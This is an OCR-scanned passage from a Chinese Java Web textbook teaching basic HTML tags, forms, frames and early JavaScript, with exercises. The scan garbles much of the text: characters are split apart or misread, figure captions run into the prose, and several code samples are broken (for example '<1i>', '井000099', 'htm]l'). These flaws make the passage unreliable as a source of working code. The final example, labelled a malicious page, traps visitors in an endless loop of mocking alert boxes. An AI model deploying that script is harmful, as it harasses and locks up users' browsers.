示 , 其 含义 为 红 \ 绿 、 蓝 3 种 分 量 的 组 合 ,每 个 分 量 的 取 值 范围 为 00 一 FF, 例 如 “FF0000” 
表示 红色 。 


2. 文字 设计 标签 
在 文字 设计 标签 中 ,< font ></font > 标签 一 般 用 于 标记 字体 ,此 标签 有 以 下 几 个 常见 的 


。 size: 用 来 设置 字体 大 小 , 它 的 属性 值 有 两 种 写法 : 一 种 为 “size=X”, 其 中 X 为 
1 一 7, 值 越 大 ,字体 越 大 ,属性 值 为 3 是 客户 端 网 页 的 默认 字体 大 小 ; 另 一 种 写法 是 
“size=+X” 或 “-X”,X 同样 为 1 一 7 的 值 ,意思 是 以 基准 字体 大 小 为 标准 大 X 号 字体 
或 者 小 X 号 字体 。 

。 face: 用 来 设置 字体 类 型 ,默认 为 宋体 。 例 如 < font face=" 楷 体 _GB2312">, 即 设置 
该 内 容 的 输出 字体 为 楷体 。 但 需要 注意 的 是 ,只 有 计算 机 中 安装 的 字体 才 可 以 在 浏 
览 器 中 出 现 相应 风格 ,如果 用 户 没有 安装 该 字体 , 则 会 显示 默认 字体 的 风格 。 

。 color: 用 于 设置 字体 颜色 。 

下 面 的 font. html 网 页 是 一 个 文字 设计 标签 的 例子 ,代码 如 下 。 


font. html 
<html> 
<body> 
< font color = "#000099"> 相 见 时 难 别 亦 难 ,< br ></font > 
< font color =" 井 000099" face = "楷体 _GB2312" size = "7"> 东 风 无 力 百花 残 。</font> 
</body> 
</html > 


打开 该 网 页 ,浏览 器 中 出 现 的 结果 如 图 2-6 所 示 。 


此 外 ,常见 的 设置 文字 风格 的 标签 如 下 。 相 见 时 难 虽 办 对 

。<b > 内 容 </b >: 将 内 容 设置 为 粗 体 。 

。<u> 内 容 </u>: 将 内 容 设置 下 面 线 。 东风 无 力 百花 残 。 
。<i> 内 容 </i>: 将 内 容 设置 为 斜体 。 图 2-6 字体 显示 效果 


<sup > 内 容 </sup >: 将 内 容 设置 为 上 标 。 
< sub > 内 容 </sub >: 将 内 容 设置 为 下 标 。 
。<blink > 内 容 </blink >: 将 内 容 设置 为 闪烁 ( 非 标准 元 素 ) 。 
下 面 的 style. html 网 页 是 一 个 文字 风格 标签 的 例子 ,代码 如 下 。 


style. html 


<html> 
<body> 
<b> 春 蛋 到 </b><u> 死 </u> 丝 方 尽 ,< br > 
<i> 蜡 炬 </i> 成 < blink > 灰 泪 始 干 </blink >。 
2<sup>5</sup> 
A<sub>n</sub> 
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</body> 
</html > 


打开 该 网 页 ,浏览 器 中 出 现 的 结果 如 图 2-7 所 示 。 
春蚕 到 死 丝 方 尽 ， 此 外 ,用 户 在 网 页 制作 中 往往 会 磁 到 某 些 字符 无 法 
娃 姻 或 灰 泪 始 干 。 25 A。。 输出 的 问题 ,比如 最 常见 的 空格 ,在 源 代码 中 设置 多 个 空 
格 后 在 网 页 上 显示 往往 得 不 到 想 要 的 效果 。 在 HTML 
中 有 一 些 代码 可 以 表示 特殊 字符 ,这 些 代码 都 以 & 加 一 
串 字 母 以 “;” 结 束 来 表示 , 比如 空格 可 以 用 “&nbsp;” 来 表示 , 在 源 代码 中 有 多 少 个 
“&nbsp;”, 网 页 上 的 该 位 置 就 会 显示 出 多 少 空格 。 对 于 其 他 特殊 字符 ,读者 可 以 参考 相应 


2.2.2 列表 标签 


在 网 页 制作 过 程 中 经 常 要 将 某 些 信 息 以 列表 方式 列举 出 来 ,这 就 需要 用 到 HTML 中 
的 列表 标签 。 列 表 标 签 分 为 两 种 ,一 种 是 有 序 的 , 另 一 种 是 无 序 的 。 
。< > 内 容 </ul>: 表示 它 所 包围 的 内 容 是 无 序列 表 标签 , 即 列表 中 的 每 一 项 目前 不 会 
加 上 序号 ,而 是 会 加 上 人 @、 〇 图 等 符号 。 其 中 列表 的 每 一 项 用 < 1i > 列表 项 </1i > 表示。 
。<ol> 内 容 </ol >: 表示 有 序 标签 ,意义 与 使 用 方法 和 无 序列 表 标 签 大 致 相同 ,不 同 
点 为 它 会 在 每 个 列表 项 前 加 上 数字 。 
下 面 的 list. html 网 页 是 一 个 列表 标签 的 例子 ,代码 如 下 。 


list. html 


图 2-7 字体 风格 显示 效果 


<ul><!-- 无 序列 表 , 以 符号 作为 起 头 --> 
<1i> 亚 洲 
<ul> 
<1i> 中 国 </1i> 
<1i> 日 本 </1i> 
<1i> 韩 国 </1i> 
</ul> 
</li> 
<1i> 欧 洲 
<ol><!-- 有 序列 表 , 以 数字 作为 起 头 --> 
<1i> 法 国 </1i> 
<1i> 英 国 </1i> 
<1i> 德 国 </1i> 
</ol> 
</1i> 
</ul > 
</body> 
</html > 


打开 该 网 页 ,浏览 器 中 出 现 的 结果 如 图 2-8 所 示 。 
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世界 


辐 计 男 


国 


图 2-8 列表 显示 效果 


2.3 表格 标签 


2.3.1 表格 基本 设计 


在 网 页 设计 中 ,对 于 数据 的 显示 、 网 页 的 布局 等 ,表格 经 常 起 到 至 关 重 要 的 作用 。 本 节 
将 讲解 如 何 编写 表格 ,编写 表格 所 用 到 的 标签 如 下 。 

。<table></table >: 定义 表格 ,表格 的 所 有 内 容 都 写 在 这 个 标签 之 内 。 
<caption ></caption >: 定义 标题 ,标题 会 自动 出 现在 整 张 表格 的 上 方 。 
<tr></tr>: 定义 表 行 。 
<th></th>: 定义 表 头 ,包含 在 < tr ></tr > 之 间 , 表 头 中 的 文字 会 自动 变 成 粗 体 。 
<td></td>: 定义 表 元 (表格 的 具体 数据 ) ,包含 在 < tr ></tr > 之 间 。 
下 面 是 tablel. html 网 页 的 代码 ,显示 一 个 简单 的 表格 。 


tablel. html 


<html> 
<body> 
<table> 
< caption > 表格 </caption> 
<tr> 
< th> 表 头 第 一 格 </th> 
<th> 表 头 第 二 格 </th> 
</tr> 
<tr> 
<td> 第 一 行 第 一 格 </td> 
<td> 第 一 行 第 二 格 </td> 
</tr> 
EE 
< td> 第 二 行 第 一 格 </td> 
<td> 第 二 行 第 二 格 </td> 
</tr> 
</table> 
</body> 
</html > 


打开 该 网 页 ,浏览 器 显示 的 结果 如 图 2-9 所 示 。 
接 下 来 介绍 建立 表格 标签 的 各 种 属性 ,通过 设置 各 种 属性 可 以 达到 美化 的 效果 。 以 下 
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为 制作 表格 的 标签 中 大 多 拥有 的 公共 属性 。 i 

。 align: 水 平 布局 方式 ,常用 属性 值 有 left、 right 和 表 头 第 一 格 表 头 第 二 格 
center, 表 示 左 对 齐 、 右 对 齐 和 居中 对 齐 。< table > 的 。 第- 人 芝 - 全 计划 
该 属性 表示 表格 在 页 面 中 的 布局 方式 ,< tr >、< td > 加 
的 该 属性 表示 该 行 和 该 表 元 内 的 内 容 的 布局 方式 。 。 图 2-9 表格 显示 效果 
默认 布局 方式 为 左 对 齐 。 

。 bgcolor: 设置 背景 颜色 。 

。border: 设置 边框 的 宽度 ,属性 值 为 整数 ,为 0 时 表格 没有 边框 ,其 默认 值 为 0。 

。 width: 宽度 ,默认 单位 为 像素 ,也 可 以 使 用 百分制 单位 。 

。 height: 高 度 ,默认 单位 为 像素 ,也 可 以 使 用 百分制 单位 。 

下 面 是 table2. html 文件 的 代码 ,显示 一 个 带 背 景 颜色 的 简单 表格 。 


table2. html 


< htm]l > 
<body> 
< table bgcolor = "#3FFFF99" border = "1" width = "300"> 
< tr bgcolor = " 井 FF3399"> 
<td> 第 一 行 第 一 格 </td> 
< td bgcolor = " 井 FFFF99"> 第 一 行 第 二 格 </td> 
</tr> 
<tr align = "center"> 
<td align = "left"> 第 二 行 第 一 格 </td> 
<td align = "right"> 第 二 行 第 二 格 </td> 
</tr> 
<tr align = "center" height = "100" bgcolor = "white"> 
<td height = "150"> 第 三 行 第 一 格 </td> 
<td bgcolor =" 井 FF3399"> 第 三 行 第 二 格 </td> 
</tr> 
</table> 
</body> 
</html > 


打开 该 网 页 ,浏览 器 显示 的 结果 如 图 2-10 所 示 。 


值得 注意 的 是 ,在 设置 bgcolor 时 < table > 和 < tr > 的 颜色 、 对 齐 方式 等 属性 的 设置 有 
重合 ,从 网 页 显示 的 结果 可 以 看 出 , 表 元 的 背景 颜色 、 对 齐 方 式 等 属性 总 是 跟 它 离 得 最 近 


0 的 设置 相同 ,而 某 一 个 表 元 的 行 高 设置 比 这 一 行 
第 一 行 第 二 格 中 其 他 表 元 的 行 高 大 时 ,浏览 器 为 了 美观 ,这 一 行 


第 一 行 第 = 格 | 
第 二 行 第 一 格 


于 的 行 高 都 会 变 成 所 有 设置 值 的 最 大 行 高 ,所 以 在 
对 表格 的 行 高 进行 设置 时 尽量 在 < tr > 中 设置 ,以 
免 出 现 不 能 预见 的 情况 。 不 同 的 浏览 器 对 于 表格 
的 显示 会 有 一 些 差异 ,需要 读者 多 进行 一 些 尝试 

对 于 整 张 表格 ,< table > 标签 常用 的 属性 有 以 


图 2-10 表格 显示 效果 2 下 J 
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。 bordercolor: 表格 边框 的 颜色 ,默认 为 黑色 。 

。 cellpadding: 表 元 边框 的 宽度 。 

。 cellspacing: 表 元 的 边框 与 表格 边框 之 间 的 宽度 。 

下 面 的 table3. html 网 页 是 一 个 带 边 框 的 简单 表格 ,代码 如 下 。 


table3. html 


<html> 
<body> 
<table align= "center" cellpadding = "5" bordercolor = "#FF3399" cellspacing = "20" 
bgcolor = "#3FFFF99" border = "10" width = "300"> 
<tr align = "center"> 


<td> 表 格 </td> 
< td > 表格 </td> 

</tr> 

<tr align= "center"> 
<td> 表 格 </td> 
< td > 表格 </td> 

</tr> 

</table> 
</body > 
</html > 


打开 该 网 页 ,浏览 器 显示 的 结果 如 图 2-11 所 示 。 
2.3.2 合并 单元 格 


合并 单元 格 必须 对 < td > 标签 中 的 rowspan、 
colspan 属性 进行 设置 ,属性 值 都 为 整数 ,默认 为 1, 表 表格 表格 
示 没 有 合并 。 这 两 个 属性 的 意思 分 别 为 从 该 表 元 起 该 
表 元 在 行 或 者 列 上 占有 的 单元 格 数 ,比如 设置 某 个 图 2-11 表格 显示 效果 3 
< td > 标签 “rowspan=2”, 表 示 该 表 元 及 其 下 面 的 表 元 
合并 成 一 个 。 

下 面 的 table4. html 网 页 是 一 个 含 表 元 合并 的 表格 ,代码 如 下 。 


table4. html 


表格 表格 


<html> 
<body> 
< table border = "1" width= "300"> 

tr> 
< td rowspan = "2"> 纵 向 合并 </ td > 
<td> 表 格 </td> 
<td> 表 格 </td> 

</tr> 

<tr> 
<td> 表 格 </td> 
<td> 表 格 </td> 
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</tr> 
</table> 
<hr> 
<table border = "1" width= "300"> 
过 各 
<td colspan = "2"> 横 向 合并 </td> 
</tr> 
<tr> 
< td> 表 格 </td> 
< td> 表 格 </td> 
-tes 
CR 
< td> 表 格 </td> 
< td> 表 格 </td> 
</tr> 
</table> 
</body > 
</html > 


打开 该 网 页 ,浏览 器 显示 的 结果 如 图 2-12 所 示 。 


和 恨 柱 良和 
na | 
腊 向 合并 | 
康 格 康 格 

展 净 康 格 | 


图 2-12 表格 显示 效果 4 


2.4 ”链接 和 图 片 标签 


链接 标签 可 以 使 用 户 链接 到 另 一 个 页 面 , 它 的 写法 如 下 。 


<a> 内 容 </a> 


标签 内 的 内 容 为 链接 所 显示 的 内 容 , 可 以 是 文字 、 空 格 占 位 符 、 图 片 等 ,此 标签 的 一 个 重 
要 属性 是 href, 它 的 值 表示 链接 所 指向 的 资源 地 址 。 
下 面 的 hrefl. html 和 href2. html 文件 是 一 个 链接 例子 ,代码 如 下 。 


hrefl. html 
<html> 
<body> 
<a href = "href2. html"> 这 是 A 页 面 .</a> 
</body > 
</html > 
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href2. html 


<html> 
<body> 
这 是 B 页 面 。 
</body> 
</html > 


将 两 个 文件 放 在 同一 文件 夹 下 ,打开 hrefl. html, 浏 览 器 的 显示 结果 如 图 2-13 所 示 。 
单 击 链接 之 后 将 会 跳 到 另 一 个 页 面 , 如 图 2-14 所 示 。 


这 是 A 页 面 。 这 是 8 页 面 。 
2-13 ”人 A 页面 显示 效果 图 2-14 B 页 面 显示 效果 


图 片 标签 的 作用 是 将 一 幅 图 片 显示 在 网 页 的 某 个 位 置 ,并 且 可 以 设置 它 的 大 小 ,边框 等 
属性 。 图 片 标签 的 写法 如 下 。 


<img src= "图 片 文件 路 径 " > 


图 片 标签 比较 重要 和 常用 的 属性 有 以 下 几 个 。 

。 src: 表示 图 片 储 存 的 位 置 。 

。 width height.border 和 align: 作用 与 前 文 所 提 到 的 属性 相同 。 
。 alt: 当 图 片 未 载 人 或 者 载 人 失败 时 提供 的 替代 性 的 文字 说 明 。 
下 面 的 img. html 文件 是 一 个 图 片 标签 的 例子 ,代码 如 下 。 


img. html 
<html> 
<body> 
< img src = "img. jpg" width= "100" height = "100" border = "2" align= "top" /> 
</body> 
</html > 


在 该 文件 所 在 的 文件 夹 下 应 该 存在 一 张 文 件 名 为 img. jpg 的 图 片 文 件 ,浏览 器 打开 的 
结果 如 图 2-15 所 示 。 


图 2-15 显示 效果 


2.5 表单 标签 


在 很 多 网 页 上 可 以 让 用 户 在 一 些 控 件 中 输入 一 些 内 容 .例如 文本 框 、 密 码 框 等 ,在 输入 
之 后 提交 ,这 些 控件 所 在 的 区 域 叫 作 表单 (form) 。 表 单 中 的 控件 叫 作 表单 元 素 。 一 个 表单 
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的 组 成 如 下 。 


< form action= "提交 地 址 "> 
表单 内 容 (包括 按钮 .输入 框 、 选 择 框 等 ) 


</form> 


表单 提交 的 内 容 涉及 后 面 的 知识 ,这 里 只 讲解 怎样 编写 表单 。 表 单元 素 最 基本 的 标签 
是 < input > 标签 。 该 标签 可 以 用 来 显示 输入 框 和 按钮 等 表单 元 素 , 它 的 type 属性 决定 了 表 
单元 素 的 类 型 。type 属性 可 以 为 以 下 值 。 
。 text: 文本 框 ,text 也 是 type 的 默认 属性 。 
。 password: 密码 框 。 
。 radio: 单 选 按 钮 ,可 以 将 多 个 单 选 按 钮 的 name 属性 设置 为 相同 ,使 其 成 为 一 组 。 
checked 属性 可 以 设置 默认 被 选 。 
。 checkbox: 复 选 框 ,checked 属性 可 以 设置 默认 被 选 。 
。 reset: 重 置 按钮 , 按 下 之 后 所 有 的 表单 元 素 内 容 变 为 默认 值 。 
。 button: 普通 按钮 。 
。 submit: 提交 按钮 , 按 下 之 后 网 页 会 将 表单 的 内 容 提交 给 action 设 定 的 网 页 ,action 
的 值 为 空 时 提交 给 本 页 。 
。 image: 图 片 , 单 击 图 片 的 效果 与 提交 按钮 一 样 都 会 提交 表单 。 
下 面 以 一 个 注册 网 页 为 例 说 明 表单 标签 的 应 用 ,forml. html 文件 的 代码 如 下 。 


forml. html 


< html > 
<body> 
欢迎 注册 < br > 
< form > 
输入 账号 (文本 框 ) :< input type = "text" ><br> 
输入 密码 (密码 框 ) :< input type = "password" ><br> 
选择 性 别 ( 单 选 按钮 ) : 
< input type = "radio" name = "sex" checked > 男 
< input type = "radio" name = "sex"> 女 <br> 
选择 爱好 ( 复 选 框 ) : 
< input type = "checkbox"> 唱 歌 
< input type = "checkbox"> 跳 舞 
< input type = "checkbox” checked > 打球 
< input type = "checkbox"> 打 游戏 < br > 
< input type = "submit" value = "注册 "> 
< input type = "reset" value = "清空 "> 
< input type= "button" value= "普通 按钮 "> 
</form> 
</body> 
</html > 


显示 结果 如 图 2-16 所 示 。 
表单 中 其 他 类 型 的 表单 元 素 还 包括 多 行文 本 框 和 选择 菜单 等 。 
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欢迎 注册 


输入 账号 (文本 框 ): _ 
输入 密码 (密码 框 ) : 

选择 性 别 ( 单 选 按钮 ) : @@ 男 © 女 
选择 爱好 ( 复 选 框 ) : 回 唱歌 回 跳舞 回 打球 


2-16 表单 显示 效果 


打 游戏 


。 <textarea ></textarea >: 表示 多 行文 本 框 , 可 以 用 rows 属性 表示 其 行 数 ,用 cols 


属性 表示 其 列 数 。 


。 < select ></select>: 表示 下 拉 菜 单 ,其 中 的 选项 使 用 *< option > 选项 内 容 </option >” 
表示 ,multiple 属性 能 将 其 设置 为 可 多 选 ,size 属性 的 值 为 下 拉 菜 单 显 示 的 项 目 数 。 
下 面 的 form2. html 文件 是 一 个 多 行文 本 框 和 选择 菜单 的 应 用 ,代码 如 下 。 


form2. html 


< html > 
<body> 
< form> 


填写 个 人 信息 : <br> 


< textarea rows = "5" cols = "20"></textarea>< br> 


选择 家 乡 (下 拉 菜 单 ) : 

< Select> 
< option > 上 海 </option> 
< option selected > 北京 </option > 
< option > 纽约 </option> 

</select><br> 

选择 家 乡 ( 下 拉 列 表 , 可 以 多 选 ): <br> 

<select size= "5" multiple> 
<option> 上 海 </option> 
< option selected > 北京 </option > 
< option > 纽约 </option > 

</select ><br> 

</form> 
</body > 
</html > 


显示 结果 如 图 2-17 所 示 。 


(下 拉 荣 单 )， 北京 ~ 
选择 家 多 (下 拉 列表 ， 可 以 多 选 ) : 


图 2-17 多 行文 本 框 和 选择 菜单 显示 效果 
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其 中 ,最 下 面 的 列表 框 可 以 在 按 下 Ctrl 键 之 后 多 选 。 
2.6 框 架 


框架 的 作用 是 将 几 个 页 面 作为 一 个 网 页 的 几 个 部 分 显示 ,便于 网 页 的 开发 与 维护 。 一 
个 框架 网 页 中 的 每 个 窗口 都 是 一 个 完整 的 HTML 网 页 ,框架 的 写法 如 下 。 


<frameset cols = "30% ,70%"> 

< frame src = "left. html" noresize scrolling= "no" name = "left"></frame > 

< frame src = "right. htnl" noresize scrolling = "non name = "right"></frame> 
</frameset > 


在 框架 中 不 再 需要 写 < body ></body >,< frameset > </frameset > 之 间 为 一 个 框架 , 它 
的 rows 或 者 cols 属性 决定 是 横向 分 割 网 页 还 是 纵向 分 割 网 页 ,它们 的 属性 值 决定 了 分 割 
页 面 之 间 宽 度 或 者 长 度 的 比值 ,例如 “cols 二 "30%,70%"” 表 示 将 页 面 纵 向 分 割 为 两 个 宽度 
各 占 30% 和 70% 的 框架 窗口 。border 属性 为 框架 边框 的 宽度 ,“border 二 "0"” 表 示 没 有 边 
框 。< frameset > 是 可 以 嵌 套 使 用 的 ,所 以 可 以 构造 出 很 多 不 同类 型 的 页 面 。 

< frameset > </frameset > 之 间 的 < frame ></frame > 标签 表示 框架 窗口 中 的 内 容 , 每 一 
个 < frame > 表示 一 个 框架 窗口 , 它 的 排序 依次 为 从 左 到 右 , 从 上 到 下 。< frame > 的 src 属性 
的 值 表 示 框 架 内 容 的 地 址 。< frame > 还 有 一 些 属性 ,其 中 noresize 表示 该 框架 不 可 被 用 户 
改变 大 小 ,scrolling 表示 是 否 有 滚动 条 ,例如 “scrolling 王 "no" "为 无 滚动 条 。 

下 面 的 一 组 . html 文件 是 一 个 框架 的 示例 ,代码 如 下 。 


left. html 


<html> 
<body> 
这 是 左 框架 
</body > 
</html > 


right. html 


<html> 
<body> 
这 是 右 框 架 
</body > 
</html > 


top. html 


<html> 
<body> 
这 是 上 框架 
</body> 
</html > 
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frame. html 


<html> 
< frameset rows="20%,80%" border = "0"> 
< frame src = "top. html" noresize scrolling = "no" name = "top"></frame> 
<frameset cols= "30% ,70%"> 
< frame src = "left. html" noresize scrolling = "no" name = "left"></frame > 
< frame src = "right. html" noresize scrolling = "non name = "right"></frame> 
</frameset > 
</frameset > 
</html > 


前 3 个 都 是 完整 的 页 面 ,注意 保证 4 个 文件 在 一 个 文件 夹 下 ,运行 frame. html, 显示 结 
果 如 图 2-18 所 示 。 


这 是 左 框架 。 这 是 右 框架 


2-18 框架 显示 效果 
值得 一 提 的 是 ,可 以 给 frame 指定 名 称 ,代码 如 下 。 


< frameset cols = "30% ,70%"> 
< frame src = "left. html" name = "left"></frame> 


< frame src = "right. html" name = "right"></frame> 
</frameset > 


在 链接 或 者 提交 时 可 以 根据 target 属性 确定 目标 所 出 现 的 位 置 , 代 码 如 下 。 


<a href = "page. html" target = "left"> 


表示 链接 到 page. html, 该 页 面 在 left 所 指定 的 frame 窗口 中 显示 。 
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2.7 本 章 小 结 
本 章 讲解 了 如 何 使 用 HTML 请 言 编写 出 简单 的 静态 网 页 ,包括 最 简单 的 标签 .表格 、 
链接 .表单 和 框架 等 。 由 于 本 书 主要 讲解 Java Web 开发 ,所 以 本 章 只 对 HTML 做 简单 的 
介绍 。 


2.8 课 后 习题 


一 、 填空 题 
1. HTML 的 中 文 名 称 是 
2. 在 HTML 语言 中 空格 用 表示 。 
3. 在 HTML 中 有 两 种 类 型 的 标签 ,它们 分 别 是 和 
4. 在 HTML 文件 中 ,文字 之 间 的 换行 必须 使 用 标签 。 
5. 标签 表示 它 所 包围 的 内 容 是 无 序列 表 标 签 ,而 表示 有 序 标签 。 
6. 在 表格 标签 中 ， 定义 表格 ， 定义 标题 ， 定义 表 行 ， 
定义 表 头 ， 定义 表 元 。 
7. 编写 一 行 代码 , 单 击 “百度 " 即 可 超 链接 到 百度 的 主页 __。 
8. <input > 标签 的 type 属性 的 值 为 表示 文本 框 ,为 表示 为 复 选 框 。 
9. < frameset > 标签 的 属性 表示 将 页 面 横向 分 割 。 
10. < frame > 标签 的 属性 的 值 表示 框架 内 容 的 地 址 。 
-、 选 择 题 
1. HTML 语言 注释 的 格式 为 ( 入 
A. <!-- 这 是 一 行 注释 --> B. // 这 是 一 行 注 释 
C. /* 这 是 一 行 注释 */ D. # 这 是 一 行 注释 


2. 下 列 关 于 HTML 的 说 法 不 正确 的 是 ( 汉 
A. HTML 请 言 大 小 写 不 敏感 
B. HTML 文件 必须 由 < html > 开头 .</html> 结尾 
C. <head ></head > 之 间 的 内 容 是 用 来 设置 一 些 网 页 相关 属性 和 信息 的 ,不 可 以 
省 略 
D. <body ></body > 之 间 的 内 容 为 浏览 器 中 网 页 上 显示 的 内 容 
3. 下 面 ( ) 不 是 align 属性 的 值 。 


A. left B. center GC. top D. right 
4. 在 下 列 标签 中 ,( ) 是 将 内 容 设置 为 斜体 。 

A. <b> 内 容 </b> B. <u> 内 容 </u> 

C. <i> 内 容 </i> D. < sup > 内 容 </sup > 


5. 下 列 关 于 表格 标签 的 说 法 正确 的 是 ( 
A. < table > 标签 的 bordercolor 属性 的 值 默认 为 白色 
B. 当 设 置 的 属性 有 重 倒 时 . 表 元 的 属性 总 是 跟 它 离 得 最 近 的 设置 相同 
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C. <td colspan="2"> 合 并 单元 格 </td > 表示 纵向 合并 单元 格 
D. <table > 标签 的 cellpadding 属性 表示 表 元 边框 与 表格 边框 之 间 的 宽度 
6. 在 < img > 标签 的 属性 中 ,( ) 属 性 能 在 图 片 未 载 人 或 载 人 失败 时 提供 替代 性 的 文 
字 说 明 。 


A. src B. align 
C. border D. alt 
7. 表单 中 的 < select ></select > 标签 表示 ( We 
A. 文本 框 B. 复 选 框 
C. 重 置 按钮 D. 下 拉 菜 单 


8. 下 列 关于 框架 的 说 法 不 正确 的 是 ( js 
A. 一 个 框架 网 页 中 的 每 个 窗口 都 是 一 个 完善 的 HTML 网 页 
B. < frameset > 标签 的 cols 属性 表示 将 页 面 横向 分 割 
C. 在 框架 中 不 需要 再 写 < body ></body > 
D. 每 一 个 < frame > 表示 一 个 框架 窗口 , 它 的 排序 依次 为 从 左 到 右 、 从 上 到 下 
三 、 上 机 习题 
制作 一 个 静态 网 站 的 基本 页 面 ,页 面 布 局 如 图 2-19 所 示 。 


top -html (Section fA) 
treemenu - 
htnl main.htnl (Section C) 
《Section 


B) 


图 2-19 页 面 布局 需求 


在 页 面 的 A 部 分 显示 “Login” 和 “Register" 链 接 , 单 击 “Login”, 在 C 部 分 显示 如 图 2-20 
所 示 。 


Please Log In 
Is | 
Password:[ | 
_oK| ForgetPassword | 


图 2-20 ”Login 布局 需求 
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单 击 “Register”, 在 C 部 分 显示 如 图 2-21 所 示 。 


图 2-21 表单 布局 需求 


在 页 面 的 B 部 分 显示 一 个 链接 , 即 作者 的 个 人 简介 。 单 击 该 链接 ,能 够 在 右边 出 现 作 
者 的 个 人 简介 。 


JavaScript 基础 


建议 学 时 : 2 

在 前 一 章 中 学 习 了 HTML 语言 ,通过 HTML 可 以 利用 标签 描述 一 张 网 页 ,但 是 标签 
式 的 描述 语言 限制 了 网 页 在 客户 端 进行 的 一 些 运算 功能 。 本 章 学 习 JavaScript 语言 ， 
JavaScript 嵌入 HTML 页 面 内 ,是 一 种 运行 在 客户 端 并 由 浏览 器 进行 解释 执行 的 脚本 语 
言 ,具有 控制 程序 流程 的 功能 。 本 章 将 学 习 其 基本 语法 及 基本 对 象 。 


3.1 JavaScript 简介 


JavaScript 是 一 种 网 页 脚本 语言 ,虽然 名 字 中 含有 Java, 但 它 与 Java 语言 是 两 种 完全 不 
同 的 语言 。 不 过 ,JavaScript 的 语法 和 Java 语言 的 语法 非常 类 似 。 

JavaScript 代码 可 以 很 容易 地 嵌入 到 HTML 页 面 中 。 浏 览 器 对 JavaScript 脚本 程序 
进行 解释 执行 。 
3.1.1 第 一 个 JavaScript 程序 

JavaScript 代码 可 以 嵌入 HTML 中 , 它 的 基本 写法 如 firstPage. html 文件 所 示 。 


firstPage. html 


< html > 
<body> 
< script type = "text/javascript"> 
window. alert(" 第 一 个 JavaScript 程序 "); 。 ”<! -- 弹出 消息 框 --> 
</script> 
</body> 
</html > 


在 保存 为 HTML 页 面 后 使 用 浏览 器 打开 .将 会 弹 
出 如 图 3-1 所 示 的 消息 框 。 

注意 : JavaScript 代 码 块 “< script type =" text/ 
javascript"> JavaScript 代码 </script >” 除 了 可 以 像 上 面 
一 样 写 在 < body ></body > 之 间 外 ,还 可 以 写 到 <head> 
</head > 之 间 , 其 效果 相同 。 

“< script type=" text/javascript"> JavaScript 代码 
</script >” 也 可 以 写 为 “< script language=" javascript"> 


来 自 网 页 的 消息 


全 第 一 候 JavaScript 往 序 


图 3-1 页 面 运行 效果 
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JavaScript 代码 </script >”。 

JavaScript 与 Java 一 样 ,对 大 小 写 是 敏感 的 。 

在 JavaScript 中 注释 有 3 种 写法 ,一 种 是 HTML 注释 的 写法 “<!-- 注 释 内 容 -->”, 还 有 
两 种 和 Java 语言 相同 ,分 别 为 “// 单 行 注释 "和 “/ x 多 行 注 释 x /”。 

用 户 除 了 可 以 将 JavaScript 代码 嵌入 HTML 中 之 外 ,还 可 以 专门 将 JavaScript 代码 写 
在 单独 的 文件 中 。 


code. js 


window.alert(" 第 一 个 JavaScript 程序 "); 


然后 在 另外 的 HTML 页 面 中 插入 以 下 代码 来 导入 该 文件 。 


< script src = "code. js" type = "text/javascript"></script > 


此 外 ,在 HTML 代码 中 可 以 写 多 个 JavaScript 代码 块 。 
3.1.2 ， JavaScript 语法 


1. 变量 的 定义 
JavaScript 中 的 变量 为 弱 变 量 类 型 , 即 变量 的 类 型 根据 它 被 赋值 的 类 型 改变 ,定义 一 个 
变量 使 用 的 格式 如 下 。 


var 变量 名 


比如 定义 变量 arg 就 可 以 使 用 “var arg”。 如 果 将 一 个 字符 串 赋 给 它 , 它 就 是 String 类 
型 ; 如 果 将 一 个 数组 赋 给 它 , 它 就 是 数组 类 型 。 
下 面 的 var. html 文件 是 一 些 变量 定义 的 应 用 例子 ,代码 如 下 。 


var. html 
<html> 
<body> 
< script type = "text/javascript"> 
var argl, arg2, arg3; 码 == 定义 三 小 变量 ~= > 
var arg4= 5; <!-- 定义 一 个 整 型 (Integer) 变 量 --> 
var arg5 = 10.0; <!-- 定义 一 个 浮 点 型 (Float) 变 量 --> 
var arg6 = "你 好 ! <!-- 定义 字符 型 (String) 变 量 --> 
var arg7 = true; <!-- 定义 一 个 布尔 类 型 (Boolean) 变 量 --> 
var arg8 = new Array(" 王 ", " 李 "," 赵 "," 张 "); <!-- 定义 字符 串 数 组 --> 
</script> 
</body> 
</html > 


需要 注意 的 是 ,在 JavaScript 中 变量 未 声明 就 使 用 是 不 会 报错 的 ,但 很 容易 出 现 不 可 预 
知 的 错误 ,所 以 建议 所 有 变量 先 声明 后 使 用 。 
另外 ,函数 Number( 字 符 串 澡 以 将 字符 串 转 为 数值 ; 函数 String 仇 值 ) 可 以 将 数值 转 为 
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字符 串 。 
2. 函数 的 定义 
在 JavaScript 中 定义 一 个 函数 的 基本 格式 如 下 。 


function 函数 名 (参数 列表 ){ 
return 值 ; 


} 


用 户 也 可 以 在 使 用 中 直接 匿名 定义 ,格式 如 下 。 


var argl = function( 参 数列 表 ){ 
return 值 ; 
} 


下 面 的 fun. html 文件 是 一 个 函数 定义 的 应 用 实例 ,代码 如 下 。 


fun. html 


<html> 
<body> 
< script type = "text/javascript"> 
var arg0 = "欢迎 使 用 JavaScript"; 
print(arg0); 
function print(argl){ 
window.alert(argl); 
} 
</script > 
</body> 
</html > 


其 运行 结果 如 图 3-2 所 示 。 


图 3-2 页 面 运 行 效果 


实际 上 ,JavaScript 的 语法 和 Java 的 语法 基本 类 似 ,因此 这 里 不 作 详细 讲述 。 以 上 介绍 
的 几 个 知识 点 是 JavaScript 与 Java 有 差别 的 语法 .其 他 的 常用 语句 与 Java 类 似 , 比 如 计 判 
断 语句 ,在 JavaScript 中 的 写法 如 下 。 
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< html > 
<body> 
< script type = "text/javascript"> 
Var score= 67; 
if(score>= 60){ 
window.alert(" 及 格 "); 
Jelse{ 
window.alert(" 不 及 格 "); 
} 
</script > 
</body > 
</html > 


又 如 for 循环 的 写法 如 下 。 


<html> 
<body> 
< script type = "text/javascript"> 
for(var i=1;i<10;i++){ 
window.alert(i); 
} 
</script > 
</body > 
</html > 


以 上 写法 是 与 Java 一 样 的 。 
下 面 用 循环 举 一 个 实际 的 例子 。 编 写 一 个 恶意 程序 ,用 户 打 开 , 会 不 断 弹 出 消息 框 。 其 
代码 如 “恶意 网 页 . html” 文 件 所 示 。 


恶意 网 页 . html 


<html> 
<body> 
< script language = "javascript"> 
str = new Array(" 你 受骗 了 ", "你 真 的 受骗 了 ", " 真 笨 啊 "); 
while(true){ 
for(i=0;i< str.length;i++){ 
window. alert(str[i]); 
} 
} 
</script > 
</body > 
</html > 


